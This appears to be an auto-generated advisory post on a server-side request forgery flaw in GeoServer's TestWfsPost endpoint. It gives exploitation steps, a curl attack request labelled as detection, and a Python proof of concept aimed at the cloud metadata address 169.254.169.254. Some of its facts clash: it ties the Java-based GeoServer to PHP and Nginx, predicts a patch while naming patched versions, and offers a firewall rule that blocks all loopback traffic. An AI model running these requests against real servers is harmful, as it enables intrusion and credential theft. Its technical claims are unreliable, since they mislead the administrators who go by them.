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GeoServer’s TestWfsPost endpoint is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs. Attackers can abuse this flaw to send crafted HTTP requests from the server, potentially accessing internal services or escalating privileges. The vulnerability specifically affects systems running PHP with Nginx due to how these configurations process unexpected request headers. The lack of proper URL filtering in the `TestWfsPost` function allows attackers to bypass proxy restrictions and interact with internal network resources.
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Platform: GeoServer
Version: 1.0.0-2.24.3, 2.25.0-2.25.1
Vulnerability: SSRF
Severity: Critical
Date: Jun 10, 2025
Prediction: Patch by Jun 25, 2025
What Undercode Say:
Exploitation:
- Craft a malicious POST request to `/geoserver/TestWfsPost` with an internal URL.
- Use `file://` or `http://localhost` to probe internal services.
- Bypass restrictions via HTTP header injection in Nginx+PHP setups.
Detection:
curl -X POST "http://<target>/geoserver/TestWfsPost" -d "url=http://internal-service"
Mitigation:
1. Update to GeoServer 2.24.4 or 2.25.2.
2. Restrict network access via firewall:
iptables -A OUTPUT -d 127.0.0.1 -j DROP
3. Override `PROXY_BASE_URL` in
web.xml:<context-param> <param-name>PROXY_BASE_URL</param-name> <param-value>https://trusted-domain.com</param-value> </context-param>
Debugging:
Check GeoServer logs for SSRF attempts:
grep "TestWfsPost" /var/log/geoserver.log
Exploit Code (PoC):
import requests
target = "http://vulnerable-geoserver/TestWfsPost"
payload = {"url": "http://169.254.169.254/latest/meta-data"}
response = requests.post(target, data=payload)
print(response.text)
Patch Verification:
After update, confirm `TestWfsPost` is replaced:
curl -I "http://patched-server/geoserver/demo/requests"
Analytics:
- Risk: High (Internal data exposure).
- Attack Vector: Network-based, low complexity.
- Countermeasures: Input validation, network segmentation.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
